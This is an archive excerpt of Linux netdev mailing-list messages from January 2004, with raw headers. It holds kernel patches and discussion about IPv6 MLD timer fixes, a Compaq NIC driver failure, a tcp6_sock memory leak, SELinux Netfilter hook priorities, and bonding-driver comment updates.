Content-Transfer-Encoding: 7bit X-archive-position: 2236 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied 1-3 to 2.4.x From hibi665@oki.com Tue Jan 6 04:14:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 04:14:29 -0800 (PST) Received: from iscan1.intra.oki.co.jp (okigate.oki.co.jp [202.226.91.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06CE3Ta029826 for ; Tue, 6 Jan 2004 04:14:04 -0800 Received: from aoi.okilab.oki.co.jp (localhost.localdomain [127.0.0.1]) by iscan1.intra.oki.co.jp (8.9.3/8.9.3) with SMTP id VAA18491 for ; Tue, 6 Jan 2004 21:14:02 +0900 Received: (qmail 18745 invoked from network); 6 Jan 2004 21:14:00 +0900 Received: from dhcp23233.okilab.oki.co.jp (HELO kiso) (172.24.23.233) by aoi.okilab.oki.co.jp with SMTP; 6 Jan 2004 21:14:00 +0900 Message-Id: <20040106211542.4fe9e531%hibi665@oki.com> MIME-Version: 1.0 Date: Tue, 06 Jan 2004 21:15:42 +0900 X-Mailer: Denshin 8 Go V32.1.4.3 X-My-Real-Login-Name: thibi; aoi From: Takashi Hibi To: netdev@oss.sgi.com Subject: MLD problems (again) X-archive-position: 2237 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hibi665@oki.com Precedence: bulk X-list: netdev A Happy new year. Let me discuss about the problems of MLD again. As I pointed out, there are two problems in current MLD code. 1. In MLDv1 compatibility mode, Older Version Querier Present timer expires prematurely. 2. After join SSM using setsockopt(MCAST_JOIN_SOURCE_GROUP), MLDv2 listener report isn't issued immediately. The cause of 1 is the wrong computation of timeout value. The cause of 2 is difficult to find. After tracing the code, I figured out that the mode of ifmcaddr6 isn't correctly set after setsockopt. After join by setsockopt, pmc->mca_sfmode should be MCAST_INCLUDE, but it remains MCAST_EXCLUDE. Eventually is_in() call returns false, and MLDv2 packet isn't composed. I don't know the right way to fix it, since the code is too complicated by a lot of flags. At least the following patch(diff from 2.6.0) works for me. Regards, Takashi Hibi --- mcast.c 2003-12-18 11:59:28.000000000 +0900 +++ new/mcast.c 2004-01-06 16:30:05.546174486 +0900 @@ -1050,7 +1050,7 @@ int igmp6_event_query(struct sk_buff *sk /* Translate milliseconds to jiffies */ max_delay = (ntohs(hdr->icmp6_maxdelay)*HZ)/1000; - switchback = (idev->mc_qrv + 1) * max_delay; + switchback = MLD_QRV_DEFAULT * 125*HZ + max_delay; idev->mc_v1_seen = jiffies + switchback; /* cancel the interface change timer */ @@ -1541,7 +1541,8 @@ static void mld_send_cr(struct inet6_dev type = MLD2_CHANGE_TO_EXCLUDE; else type = MLD2_CHANGE_TO_INCLUDE; - skb = add_grec(skb, pmc, type, 0, 0); + if (!skb) + skb = add_grec(skb, pmc, type, 0, 0); } spin_unlock_bh(&pmc->mca_lock); } @@ -1745,6 +1746,7 @@ static int ip6_mc_add1_src(struct ifmcad return -ENOBUFS; memset(psf, 0, sizeof(*psf)); psf->sf_addr = *psfsrc; + psf->sf_crcount = pmc->idev->mc_qrv; if (psf_prev) { psf_prev->sf_next = psf; } else @@ -1799,6 +1801,7 @@ int ip6_mc_add_src(struct inet6_dev *ide struct ifmcaddr6 *pmc; int isexclude; int i, err; + int first_join_src_grp; if (!idev) return -ENODEV; @@ -1816,6 +1819,8 @@ int ip6_mc_add_src(struct inet6_dev *ide sf_markstate(pmc); isexclude = pmc->mca_sfmode == MCAST_EXCLUDE; + first_join_src_grp = (!pmc->sources && sfmode == MCAST_INCLUDE && + sfcount == 1 && delta); if (!delta) pmc->mca_sfcount[sfmode]++; err = 0; @@ -1827,10 +1832,19 @@ int ip6_mc_add_src(struct inet6_dev *ide if (err) { int j; - pmc->mca_sfcount[sfmode]--; + if (!delta) + pmc->mca_sfcount[sfmode]--; for (j=0; jmca_sfcount[MCAST_EXCLUDE] != 0)) { + goto done; + } + if (first_join_src_grp) { + pmc->mca_sfmode = MCAST_INCLUDE; + if (sf_setstate(pmc)) + mld_ifc_event(idev); + goto done; + } + if (isexclude != (pmc->mca_sfcount[MCAST_EXCLUDE] != 0)) { struct inet6_dev *idev = pmc->idev; struct ip6_sf_list *psf; @@ -1848,6 +1862,7 @@ int ip6_mc_add_src(struct inet6_dev *ide mld_ifc_event(idev); } else if (sf_setstate(pmc)) mld_ifc_event(idev); +done: spin_unlock_bh(&pmc->mca_lock); read_unlock_bh(&idev->lock); return err; From cmadams@hiwaay.net Tue Jan 6 07:17:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 07:18:07 -0800 (PST) Received: from mail.hiwaay.net (bee.hiwaay.net [216.180.54.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06FHrTa007362 for ; Tue, 6 Jan 2004 07:17:53 -0800 Received: from bee.hiwaay.net (localhost [127.0.0.1]) by mail.hiwaay.net (8.12.10/8.12.10) with ESMTP id i06FHqu51538440 for ; Tue, 6 Jan 2004 09:17:52 -0600 (CST) Received: (from cmadams@localhost) by bee.hiwaay.net (8.12.10/8.12.10/DefSubmit) id i06FHq5Z1538608 for netdev@oss.sgi.com; Tue, 6 Jan 2004 09:17:52 -0600 (CST) Date: Tue, 6 Jan 2004 09:17:51 -0600 From: Chris Adams To: netdev@oss.sgi.com Subject: Problem with Compaq NC3131 dual eth card Message-ID: <20040106151751.GB1509622@hiwaay.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 2238 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cmadams@hiwaay.net Precedence: bulk X-list: netdev I have a Compaq NC3131 dual 10/100 ethernet PCI (64/32 bit in a 32 bit slot) card. The e100 module doesn't work, and the eepro100 module can be coerced to work but complains about it (this is with Fedora Core 1 and kernel-2.4.22-1.2135.nptl.athlon.rpm). The e100 module prints: ************************************************************************ Intel(R) PRO/100 Network Driver - version 2.3.18-k1 Copyright (c) 2003 Intel Corporation divert: allocating divert_blk for eth1 e100: selftest OK. e100: Invalid Ethernet address e100: Failed to initialize, instance #0 divert: freeing divert_blk for eth1 divert: allocating divert_blk for eth1 e100: selftest OK. e100: Invalid Ethernet address e100: Failed to initialize, instance #0 divert: freeing divert_blk for eth1 ************************************************************************ and unloads itself immediately. The eepro100 module prints: ************************************************************************ eepro100.c:v1.09j-t 9/29/99 Donald Becker http://www.scyld.com/network/eepro100.html eepro100.c: $Revision: 1.36 $ 2000/11/17 Modified by Andrey V. Savochkin and others divert: allocating divert_blk for eth1 eth1: Invalid EEPROM checksum 0xffc0, check settings before activating this device! eth1: OEM i82557/i82558 10/100 Ethernet, FF:FF:FF:FF:FF:FF, IRQ 11. Board assembly ffffff-255, Physical connectors present: RJ45 BNC AUI MII Primary interface chip unknown-15 PHY #31. Secondary interface chip i82555. General self-test: passed. Serial sub-system self-test: passed. Internal registers self-test: passed. ROM checksum self-test: passed (0x24c9f043). divert: allocating divert_blk for eth2 eth2: Invalid EEPROM checksum 0xffc0, check settings before activating this device! eth2: OEM i82557/i82558 10/100 Ethernet, FF:FF:FF:FF:FF:FF, IRQ 10. Board assembly ffffff-255, Physical connectors present: RJ45 BNC AUI MII Primary interface chip unknown-15 PHY #31. Secondary interface chip i82555. General self-test: passed. Serial sub-system self-test: passed. Internal registers self-test: passed. ROM checksum self-test: passed (0x24c9f043). ************************************************************************ It will load and let me configure the devices. If I force it to a different MAC address (reusing the MAC from eth0 and moving the wire to avoid ARP problems), it seems to work, but I shouldn't have to do that. Is my card defective or is this a compatibility problem? Is there a way to fix this? -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From erik@hensema.net Tue Jan 6 07:59:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 07:59:56 -0800 (PST) Received: from scrat.hensema.net (scrat.hensema.net [62.212.82.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06FxeTa009012 for ; Tue, 6 Jan 2004 07:59:41 -0800 Received: from dexter.hensema.net (cc78409-a.hnglo1.ov.home.nl [212.120.97.185]) by scrat.hensema.net (8.12.7/8.12.7/SuSE Linux 0.6) with ESMTP id i06FxYng008547; Tue, 6 Jan 2004 16:59:34 +0100 Received: from bender.home.hensema.net (root@bender.ipv6.hensema.net [IPv6:2001:888:10a1:0:202:44ff:fe69:60f5]) by dexter.hensema.net (8.12.7/8.12.7) with ESMTP id i06FxYB5022646; Tue, 6 Jan 2004 16:59:34 +0100 Received: from bender.home.hensema.net (erik@localhost [127.0.0.1]) by bender.home.hensema.net (8.12.7/8.12.7) with ESMTP id i06FxY72003383; Tue, 6 Jan 2004 16:59:34 +0100 Received: (from erik@localhost) by bender.home.hensema.net (8.12.7/8.12.7/Submit) id i06FxYVT003382; Tue, 6 Jan 2004 16:59:34 +0100 Date: Tue, 6 Jan 2004 16:59:34 +0100 From: Erik Hensema To: "David S. Miller" Cc: Linus Torvalds , netdev@oss.sgi.com Subject: Re: 2.6.0: something is leaking memory Message-ID: <20040106155933.GA3373@bender.home.hensema.net> Reply-To: erik@hensema.net References: <20040104204834.40b6ca51.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040104204834.40b6ca51.davem@redhat.com> User-Agent: Mutt/1.4i X-archive-position: 2239 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: erik@hensema.net Precedence: bulk X-list: netdev On Sun, Jan 04, 2004 at 08:48:34PM -0800, David S. Miller wrote: > On Sun, 4 Jan 2004 18:30:21 -0800 (PST) > Linus Torvalds wrote: > > > You've got 19 _megabytes_ allocated to "tcp6_sock", and they are all > > marked as "active". That's almost certainly the leaking bug. > > > > Everything else looks reasonably normal. > ... > > David? > > Fixed by changeset 1.1496.16.1 which is in 2.6.1-rc1 The leak seems to be in 2.6.1-rc1 too and I can't find any IPv6 related fixes wrt memory in the long format changelog of 2.6.1-rc1. David: are you sure it was fixed in rc1? It doesn't seem to be in -rc2 either. This is after 26 hours uptime: tcp6_sock 6246 6248 1024 4 1 : tunables 54 27 0 : slabdata 1562 1562 0 -- Erik Hensema (erik@hensema.net) From jmorris@redhat.com Tue Jan 6 08:01:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 08:01:25 -0800 (PST) Received: from thoron.boston.redhat.com (nat-pool-bos.redhat.com [66.187.230.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06G1ATa009420 for ; Tue, 6 Jan 2004 08:01:10 -0800 Received: from thoron.boston.redhat.com (localhost.localdomain [127.0.0.1]) by thoron.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i06G13iF007581; Tue, 6 Jan 2004 11:01:03 -0500 Received: from localhost (jmorris@localhost) by thoron.boston.redhat.com (8.12.8/8.12.8/Submit) with ESMTP id i06G130N007577; Tue, 6 Jan 2004 11:01:03 -0500 X-Authentication-Warning: thoron.boston.redhat.com: jmorris owned process doing -bs Date: Tue, 6 Jan 2004 11:01:03 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: netdev@oss.sgi.com cc: netfilter-devel@lists.netfilter.org, "David S. Miller" , Stephen Smalley Subject: [RFC] IPv4 Netfilter hook priorities for SELinux Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2240 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev SELinux needs to use some Netfilter hooks, and I'd like to propose the hook priorities below for the mainline kernel. As SELinux is a mandatory access control system, it needs to be able to look at packets before and after they may have been modified. Two priorities are thus required. The SELINUX_LAST priority is straightforward: this is after all mangling and NAT has occurred. The SELINUX_FIRST priority needs to be located before any packet modification hooks, although it is also potentially useful if located prior to conntrack so that SELinux has an opportunity to reject packets before they enter the conntrack code. Does anyone have any objections to the patch below (which I'd propose for 2.6.2), or other comments? - James -- James Morris diff -urN -X dontdiff linux-2.6.1-rc1-mm2.pending/include/linux/netfilter_ipv4.h linux-2.6.1-rc1-mm2.w1/include/linux/netfilter_ipv4.h --- linux-2.6.1-rc1-mm2.pending/include/linux/netfilter_ipv4.h 2003-09-27 20:50:51.000000000 -0400 +++ linux-2.6.1-rc1-mm2.w1/include/linux/netfilter_ipv4.h 2004-01-06 10:14:59.503138800 -0500 @@ -51,6 +51,7 @@ enum nf_ip_hook_priorities { NF_IP_PRI_FIRST = INT_MIN, + NF_IP_PRI_SELINUX_FIRST = -225, NF_IP_PRI_CONNTRACK = -200, NF_IP_PRI_BRIDGE_SABOTAGE_FORWARD = -175, NF_IP_PRI_MANGLE = -150, @@ -58,6 +59,7 @@ NF_IP_PRI_BRIDGE_SABOTAGE_LOCAL_OUT = -50, NF_IP_PRI_FILTER = 0, NF_IP_PRI_NAT_SRC = 100, + NF_IP_PRI_SELINUX_LAST = 225, NF_IP_PRI_LAST = INT_MAX, }; From shmulik.hen@intel.com Tue Jan 6 09:04:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 09:04:51 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06H4bTa014309 for ; Tue, 6 Jan 2004 09:04:38 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.12 2003/12/18 18:58:11 root Exp $) with ESMTP id i05FCB5B005806; Mon, 5 Jan 2004 15:12:11 GMT Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i05FA309011452; Mon, 5 Jan 2004 15:10:03 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs041.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010507105104609 ; Mon, 05 Jan 2004 07:10:51 -0800 From: Shmuel Hen Organization: Intel Corporation Subject: Fwd: [bonding] trivial - Update comment blocks and version field Date: Mon, 5 Jan 2004 17:10:49 +0200 User-Agent: KMail/1.5.3 To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401051710.50622.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2241 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev ---------- Forwarded Message ---------- Subject: [bonding] trivial - Update comment blocks and version field Date: Monday 05 January 2004 16:41 From: Shmuel Hen To: "Jeff Garzik" Cc: "Jay Vosburgh" , "Shmulik Hen" , "Amir Noam" , "Noam Marom" Update comment blocks, version field and copyright years to match all the recent changes that were accepted into 2.4/2.6. Applies on top of latest netdev BK tree. -- Shmulik. diff -Nuarp a/Documentation/networking/ifenslave.c b/Documentation/networking/ifenslave.c --- a/Documentation/networking/ifenslave.c Mon Jan 5 15:40:57 2004 +++ b/Documentation/networking/ifenslave.c Mon Jan 5 16:34:13 2004 @@ -89,13 +89,13 @@ * while it is running. It was already set during enslave. To * simplify things, it is now handeled separately. * - * - 2003/09/24 - Shmulik Hen + * - 2003/12/01 - Shmulik Hen * - Code cleanup and style changes * set version to 1.1.0 */ #define APP_VERSION "1.1.0" -#define APP_RELDATE "Septemer 24, 2003" +#define APP_RELDATE "December 1, 2003" #define APP_NAME "ifenslave" static char *version = diff -Nuarp a/drivers/net/bonding/bond_3ad.c b/drivers/net/bonding/bond_3ad.c --- a/drivers/net/bonding/bond_3ad.c Mon Jan 5 15:40:57 2004 +++ b/drivers/net/bonding/bond_3ad.c Mon Jan 5 16:34:13 2004 @@ -1,5 +1,5 @@ /* - * Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + * Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free @@ -48,7 +48,7 @@ * problem on very high Tx traffic load where packets may get dropped * by the slave. * - * 2003/09/24 - Shmulik Hen + * 2003/12/01 - Shmulik Hen * - Code cleanup and style changes */ diff -Nuarp a/drivers/net/bonding/bond_3ad.h b/drivers/net/bonding/bond_3ad.h --- a/drivers/net/bonding/bond_3ad.h Mon Jan 5 15:40:57 2004 +++ b/drivers/net/bonding/bond_3ad.h Mon Jan 5 16:34:13 2004 @@ -1,5 +1,5 @@ /* - * Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + * Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free @@ -29,7 +29,7 @@ * - Renamed bond_3ad_link_status_changed() to * bond_3ad_handle_link_change() for compatibility with TLB. * - * 2003/09/24 - Shmulik Hen + * 2003/12/01 - Shmulik Hen * - Code cleanup and style changes */ diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Mon Jan 5 15:40:57 2004 +++ b/drivers/net/bonding/bond_alb.c Mon Jan 5 16:34:13 2004 @@ -1,5 +1,5 @@ /* - * Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + * Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the @@ -29,8 +29,11 @@ * - Add support for setting bond's MAC address with special * handling required for ALB/TLB. * - * 2003/09/24 - Shmulik Hen + * 2003/12/01 - Shmulik Hen * - Code cleanup and style changes + * + * 2003/12/30 - Amir Noam + * - Fixed: Cannot remove and re-enslave the original active slave. */ //#define BONDING_DEBUG 1 diff -Nuarp a/drivers/net/bonding/bond_alb.h b/drivers/net/bonding/bond_alb.h --- a/drivers/net/bonding/bond_alb.h Mon Jan 5 15:40:57 2004 +++ b/drivers/net/bonding/bond_alb.h Mon Jan 5 16:34:14 2004 @@ -1,5 +1,5 @@ /* - * Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + * Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the @@ -25,7 +25,7 @@ * - Add support for setting bond's MAC address with special * handling required for ALB/TLB. * - * 2003/09/24 - Shmulik Hen + * 2003/12/01 - Shmulik Hen * - Code cleanup and style changes */ diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Mon Jan 5 15:40:57 2004 +++ b/drivers/net/bonding/bond_main.c Mon Jan 5 16:34:14 2004 @@ -452,6 +452,12 @@ * o Change struct member names and types. * o Chomp trailing spaces, remove empty lines, fix indentations. * o Re-organize code according to context. + * + * 2003/12/30 - Amir Noam + * - Fixed: Cannot remove and re-enslave the original active slave. + * - Fixed: Releasing the original active slave causes mac address duplication. + * - Add support for slaves that use ethtool_ops. + * Set version to 2.5.3. */ //#define BONDING_DEBUG 1 diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Mon Jan 5 15:40:57 2004 +++ b/drivers/net/bonding/bonding.h Mon Jan 5 16:34:14 2004 @@ -23,7 +23,7 @@ * 2003/05/01 - Shmulik Hen * - Added support for Transmit load balancing mode. * - * 2003/09/24 - Shmulik Hen + * 2003/12/01 - Shmulik Hen * - Code cleanup and style changes */ @@ -36,8 +36,8 @@ #include "bond_3ad.h" #include "bond_alb.h" -#define DRV_VERSION "2.5.0" -#define DRV_RELDATE "December 1, 2003" +#define DRV_VERSION "2.5.3" +#define DRV_RELDATE "December 30, 2003" #define DRV_NAME "bonding" #define DRV_DESCRIPTION "Ethernet Channel Bonding Driver" diff -Nuarp a/include/linux/if_bonding.h b/include/linux/if_bonding.h --- a/include/linux/if_bonding.h Mon Jan 5 15:40:57 2004 +++ b/include/linux/if_bonding.h Mon Jan 5 16:34:14 2004 @@ -32,6 +32,9 @@ * 2003/05/01 - Amir Noam * - Added ABI version control to restore compatibility between * new/old ifenslave and new/old bonding. + * + * 2003/12/01 - Shmulik Hen + * - Code cleanup and style changes */ #ifndef _LINUX_IF_BONDING_H @@ -86,7 +89,7 @@ typedef struct ifbond { typedef struct ifslave { __s32 slave_id; /* Used as an IN param to the BOND_SLAVE_INFO_QUERY ioctl */ - __s8 slave_name[IFNAMSIZ]; + char slave_name[IFNAMSIZ]; __s8 link; __s8 state; __u32 link_failure_count; From davem@pizda.ninka.net Tue Jan 6 10:05:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 10:05:28 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06I5DTa016645 for ; Tue, 6 Jan 2004 10:05:13 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id JAA02701; Tue, 6 Jan 2004 09:59:09 -0800 Date: Tue, 6 Jan 2004 09:59:09 -0800 From: "David S. Miller" To: erik@hensema.net Cc: torvalds@osdl.org, netdev@oss.sgi.com, acme@conectiva.com.br Subject: Re: 2.6.0: something is leaking memory Message-Id: <20040106095909.7243b2ce.davem@redhat.com> In-Reply-To: <20040106155933.GA3373@bender.home.hensema.net> References: <20040104204834.40b6ca51.davem@redhat.com> <20040106155933.GA3373@bender.home.hensema.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2242 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 6 Jan 2004 16:59:34 +0100 Erik Hensema wrote: > David: are you sure it was fixed in rc1? > > It doesn't seem to be in -rc2 either. > > This is after 26 hours uptime: > > tcp6_sock 6246 6248 1024 4 1 : tunables 54 27 0 > : slabdata 1562 1562 0 Someone mentioned about a bug in the userland program you're using that is openning these sockets? Something about leaving sockets not closed. (Arnaldo, we aparently still have a TCP ipv6 socket leak...) From mroos@tartutest.cyber.ee Tue Jan 6 10:13:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 10:13:53 -0800 (PST) Received: from tartutest.cyber.ee (tartutest.cyber.ee [193.40.6.70]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06IDbTa017156 for ; Tue, 6 Jan 2004 10:13:38 -0800 Received: Message by Barricade tartutest.cyber.ee with ESMTP id i06IRnEw021613; Tue, 6 Jan 2004 20:27:49 +0200 Received: from mroos by rhn.tartu-labor with local (Exim 4.30) id 1Advho-0000Pq-3c; Tue, 06 Jan 2004 20:13:28 +0200 From: Meelis Roos To: cmadams@hiwaay.net, netdev@oss.sgi.com Subject: Re: Problem with Compaq NC3131 dual eth card In-Reply-To: <20040106151751.GB1509622@hiwaay.net> User-Agent: tin/1.7.4-20031226 ("Taransay") (UNIX) (Linux/2.4.25-pre4 (i686)) Message-Id: Date: Tue, 06 Jan 2004 20:13:28 +0200 X-archive-position: 2243 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mroos@linux.ee Precedence: bulk X-list: netdev CA> I have a Compaq NC3131 dual 10/100 ethernet PCI (64/32 bit in a 32 bit CA> slot) card. The e100 module doesn't work, and the eepro100 module can CA> be coerced to work but complains about it (this is with Fedora Core 1 CA> and kernel-2.4.22-1.2135.nptl.athlon.rpm). FWIW, I have a NC3134 (64/66 in 32/33 slot). Just tested it with 2.6.1-rc1 and 2.4.25-pre4, works fine and transfers fine. I tried only e100 since it just worked. -- Meelis Roos From acme@conectiva.com.br Tue Jan 6 10:53:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 10:53:28 -0800 (PST) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06IrCTa018239 for ; Tue, 6 Jan 2004 10:53:13 -0800 Received: from 200-103-242-110.ctame7042.dsl.brasiltelecom.net.br ([200.103.242.110] helo=oops.kerneljanitors.org) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1AdwRH-0004eH-00; Tue, 06 Jan 2004 17:00:27 -0200 Received: by oops.kerneljanitors.org (Postfix, from userid 500) id D7A851966D; Tue, 6 Jan 2004 17:03:58 -0200 (BRDT) Date: Tue, 6 Jan 2004 17:03:58 -0200 From: Arnaldo Carvalho de Melo To: "David S. Miller" Cc: erik@hensema.net, torvalds@osdl.org, netdev@oss.sgi.com Subject: Re: 2.6.0: something is leaking memory Message-ID: <20040106190358.GV28868@conectiva.com.br> References: <20040104204834.40b6ca51.davem@redhat.com> <20040106155933.GA3373@bender.home.hensema.net> <20040106095909.7243b2ce.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040106095909.7243b2ce.davem@redhat.com> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.5.1i X-archive-position: 2244 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Em Tue, Jan 06, 2004 at 09:59:09AM -0800, David S. Miller escreveu: > On Tue, 6 Jan 2004 16:59:34 +0100 > Erik Hensema wrote: > > > David: are you sure it was fixed in rc1? > > > > It doesn't seem to be in -rc2 either. > > > > This is after 26 hours uptime: > > > > tcp6_sock 6246 6248 1024 4 1 : tunables 54 27 0 > > : slabdata 1562 1562 0 > > Someone mentioned about a bug in the userland program you're > using that is openning these sockets? Something about leaving sockets > not closed. > > (Arnaldo, we aparently still have a TCP ipv6 socket leak...) I'll take a look at this. From uucp@coruscant.gnumonks.org Tue Jan 6 11:16:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 11:16:49 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06JGWTa019311 for ; Tue, 6 Jan 2004 11:16:34 -0800 Received: from uucp by coruscant.gnumonks.org with local-bsmtp (Exim 4.20) id 1Adwgo-0001Fb-TA for netdev@oss.sgi.com; Tue, 06 Jan 2004 20:16:30 +0100 Received: from laforge by obroa-skai.gnumonks.org with local (Exim 3.36 #1) id 1Adwdb-0000Ob-00; Tue, 06 Jan 2004 20:13:11 +0100 Date: Tue, 6 Jan 2004 20:13:11 +0100 From: Harald Welte To: James Morris Cc: netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org, "David S. Miller" , Stephen Smalley Subject: Re: [RFC] IPv4 Netfilter hook priorities for SELinux Message-ID: <20040106191311.GH934@obroa-skai.de.gnumonks.org> Mail-Followup-To: Harald Welte , James Morris , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org, "David S. Miller" , Stephen Smalley References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="U3s59FfKcByyGl+j" Content-Disposition: inline In-Reply-To: X-Operating-System: Linux obroa-skai.de.gnumonks.org 2.6.0-test11 X-Date: Today is Sweetmorn, the 6th day of Chaos in the YOLD 3170 User-Agent: Mutt/1.5.4i X-archive-position: 2245 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev --U3s59FfKcByyGl+j Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Jan 06, 2004 at 11:01:03AM -0500, James Morris wrote: =20 > Does anyone have any objections to the patch below (which I'd propose for= =20 > 2.6.2), or other comments? Thanks James, I am perfectly fine with your patch. Feel free to put them into netfilter_arp.h and netfilter_ipv6.h, too. > - James --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --U3s59FfKcByyGl+j Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) 